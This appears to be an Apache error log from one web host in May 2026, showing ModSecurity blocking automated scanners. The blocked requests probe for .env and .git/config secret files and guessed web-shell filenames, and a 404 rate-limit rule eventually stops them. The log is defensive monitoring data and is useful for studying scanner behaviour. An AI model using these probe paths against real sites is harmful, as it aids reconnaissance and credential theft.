[Mon May 11 13:13:54.674506 2026] [:error] [pid 35052:tid 35074] [client 34.32.40.213:39826] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agFlkuHjpNNnFJrMXu3l5QAAAVM"]
[Mon May 11 20:14:26.983097 2026] [:error] [pid 4685:tid 4691] [client 177.93.149.130:43303] [client 177.93.149.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.93.149.130, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agHIInwrjbU4NZilCZ_9RgAAAQM"]
[Mon May 11 20:14:26.987831 2026] [:error] [pid 4685:tid 4691] [client 177.93.149.130:43303] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue May 12 05:03:27.030338 2026] [:error] [pid 40061:tid 40063] [client 85.137.48.160:34168] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Tue May 12 21:30:41.170145 2026] [:error] [pid 21242:tid 21260] [client 91.92.241.188:37828] [client 91.92.241.188] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agMrgczeh8JWZob6PnITmwAAAY4"]
[Wed May 13 14:05:35.589452 2026] [:error] [pid 23887:tid 23896] [client 196.96.26.110:1111] [client 196.96.26.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.96.26.110, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agQUr9SKmvZJZkXBFDCFQAAAAME"]
[Wed May 13 14:05:35.594370 2026] [:error] [pid 23887:tid 23896] [client 196.96.26.110:1111] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed May 13 14:05:35.598409 2026] [:error] [pid 23787:tid 23849] [client 196.96.26.110:1060] [client 196.96.26.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.96.26.110, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agQUrx1cs5wE7VT6wir4xQAAAIE"]
[Wed May 13 14:05:35.607508 2026] [:error] [pid 23787:tid 23849] [client 196.96.26.110:1060] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 14 04:42:14.445340 2026] [:error] [pid 11581:tid 11615] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/file60.php
[Thu May 14 04:42:14.662016 2026] [:error] [pid 11581:tid 11608] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-k7djufwez2.php
[Thu May 14 04:42:14.920613 2026] [:error] [pid 11581:tid 11613] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/bc.php
[Thu May 14 04:42:15.138843 2026] [:error] [pid 11581:tid 11601] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Thu May 14 04:42:15.356365 2026] [:error] [pid 11581:tid 11619] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Thu May 14 04:42:15.572114 2026] [:error] [pid 11581:tid 11607] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/bob.php
[Thu May 14 04:42:15.788063 2026] [:error] [pid 11581:tid 11602] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu May 14 04:42:17.915098 2026] [:error] [pid 11581:tid 11609] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Thu May 14 04:42:18.130995 2026] [:error] [pid 11581:tid 11600] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Thu May 14 04:42:18.367614 2026] [:error] [pid 11581:tid 11618] [client 52.139.38.158:47767] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Thu May 14 04:42:18.579879 2026] [:error] [pid 11581:tid 11606] [client 52.139.38.158:47767] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTiKv0vF48FbzpvQMV9pgAAAAk"]
[Thu May 14 04:42:20.243402 2026] [:error] [pid 11582:tid 11632] [client 52.139.38.158:59416] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTiLPuw2cmFDpGcKhDKoAAAAEc"]
[Thu May 14 04:42:20.998281 2026] [:error] [pid 11582:tid 11634] [client 52.139.38.158:47763] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTiLPuw2cmFDpGcKhDKoQAAAEk"]
[Thu May 14 04:42:22.164557 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:59403] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agTiLlMY49UWn5BpqVYx7wAAAQY"]
[Thu May 14 04:42:22.942048 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:59744] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTiLinxWuLN8Hptw8lcJwAAANU"]
[Thu May 14 04:42:23.593684 2026] [:error] [pid 11588:tid 11656] [client 52.139.38.158:59768] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTiL9Ur21rOixkeGKb2qgAAAIQ"]
[Thu May 14 04:42:24.510464 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:59409] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTiMCnxWuLN8Hptw8lcMgAAANg"]
[Thu May 14 04:42:25.884895 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:59772] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agTiMSnxWuLN8Hptw8lcNQAAANE"]
[Thu May 14 04:42:27.689488 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:59449] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTiMynxWuLN8Hptw8lcOwAAANg"]
[Thu May 14 04:42:29.837251 2026] [:error] [pid 11581:tid 11610] [client 52.139.38.158:59738] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTiNf0vF48FbzpvQMV9rgAAAA0"]
[Thu May 14 04:42:30.965539 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:59751] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTiNtUr21rOixkeGKb2rgAAAIo"]
[Thu May 14 04:42:31.733496 2026] [:error] [pid 11588:tid 11670] [client 52.139.38.158:47816] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agTiN9Ur21rOixkeGKb2sAAAAJI"]
[Thu May 14 04:42:32.379266 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:59774] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTiOFMY49UWn5BpqVYx_wAAARA"]
[Thu May 14 04:42:33.642251 2026] [:error] [pid 11690:tid 11710] [client 52.139.38.158:47865] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTiOSnxWuLN8Hptw8lcSQAAAMs"]
[Thu May 14 04:42:34.148565 2026] [:error] [pid 11581:tid 11621] [client 52.139.38.158:59423] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTiOv0vF48FbzpvQMV9rwAAABg"]
[Thu May 14 04:42:34.703746 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:59761] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agTiOlMY49UWn5BpqVYyAgAAAQE"]
[Thu May 14 04:42:35.191507 2026] [:error] [pid 11582:tid 11636] [client 52.139.38.158:47871] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTiO_uw2cmFDpGcKhDKpgAAAEs"]
[Thu May 14 04:42:35.694716 2026] [:error] [pid 63033:tid 63045] [client 52.139.38.158:47869] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTiO1MY49UWn5BpqVYyBAAAAQo"]
[Thu May 14 04:42:36.246801 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:59737] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTiPCnxWuLN8Hptw8lcUQAAAMw"]
[Thu May 14 04:42:36.931457 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:47839] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agTiPCnxWuLN8Hptw8lcUwAAAMQ"]
[Thu May 14 04:42:38.141674 2026] [:error] [pid 11581:tid 11598] [client 52.139.38.158:47801] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTiPv0vF48FbzpvQMV9sAAAAAE"]
[Thu May 14 04:42:39.047071 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:59429] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTiP1MY49UWn5BpqVYyCQAAARY"]
[Thu May 14 04:42:39.858127 2026] [:error] [pid 11581:tid 11600] [client 52.139.38.158:47753] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTiP_0vF48FbzpvQMV9swAAAAM"]
[Thu May 14 04:42:40.650285 2026] [:error] [pid 11582:tid 11633] [client 52.139.38.158:47828] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "agTiQPuw2cmFDpGcKhDKpwAAAEg"]
[Thu May 14 04:42:41.131058 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:59425] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTiQdUr21rOixkeGKb2tAAAAJg"]
[Thu May 14 04:42:41.745418 2026] [:error] [pid 11582:tid 11640] [client 52.139.38.158:59430] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTiQfuw2cmFDpGcKhDKqAAAAE8"]
[Thu May 14 04:42:42.299006 2026] [:error] [pid 11582:tid 11641] [client 52.139.38.158:47758] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTiQvuw2cmFDpGcKhDKqQAAAFA"]
[Thu May 14 04:42:42.843453 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:59719] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTiQlMY49UWn5BpqVYyEAAAAQ8"]
[Thu May 14 04:42:43.298114 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:47784] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTiQ9Ur21rOixkeGKb2twAAAIU"]
[Thu May 14 04:42:44.012440 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:59762] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTiRFMY49UWn5BpqVYyEQAAAQM"]
[Thu May 14 04:42:45.027975 2026] [:error] [pid 11588:tid 11656] [client 52.139.38.158:59433] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTiRdUr21rOixkeGKb2uQAAAIQ"]
[Thu May 14 04:42:45.908077 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47791] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTiRVMY49UWn5BpqVYyFQAAAQ0"]
[Thu May 14 04:42:46.583214 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:47773] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTiRlMY49UWn5BpqVYyFwAAARQ"]
[Thu May 14 04:42:47.186280 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:59713] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTiR1MY49UWn5BpqVYyGgAAAQ8"]
[Thu May 14 04:42:47.659731 2026] [:error] [pid 11588:tid 11659] [client 52.139.38.158:47834] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTiR9Ur21rOixkeGKb2uwAAAIc"]
[Thu May 14 04:42:48.400909 2026] [:error] [pid 63033:tid 63043] [client 52.139.38.158:47827] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTiSFMY49UWn5BpqVYyGwAAAQg"]
[Thu May 14 04:42:49.159567 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47806] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTiSVMY49UWn5BpqVYyHAAAARc"]
[Thu May 14 04:42:50.028703 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:47829] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTiStUr21rOixkeGKb2wQAAAIM"]
[Thu May 14 04:42:51.119290 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:59454] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTiSynxWuLN8Hptw8lcaAAAANM"]
[Thu May 14 04:42:52.019064 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:41671] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTiTNUr21rOixkeGKb2wgAAAJg"]
[Thu May 14 04:42:52.537672 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:47769] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTiTCnxWuLN8Hptw8lcbQAAANg"]
[Thu May 14 04:42:53.226755 2026] [:error] [pid 11581:tid 11610] [client 52.139.38.158:59431] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTiTf0vF48FbzpvQMV9tgAAAA0"]
[Thu May 14 04:42:54.572668 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:59778] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTiTlMY49UWn5BpqVYyJAAAAQQ"]
[Thu May 14 04:42:56.700249 2026] [:error] [pid 11582:tid 11626] [client 52.139.38.158:59421] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTiUPuw2cmFDpGcKhDKrgAAAEE"]
[Thu May 14 04:42:57.996932 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:47772] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTiUVMY49UWn5BpqVYyKQAAARI"]
[Thu May 14 04:42:59.032403 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:47856] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTiUynxWuLN8Hptw8lcdAAAANU"]
[Thu May 14 04:42:59.821890 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:47810] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTiUynxWuLN8Hptw8lcdwAAANc"]
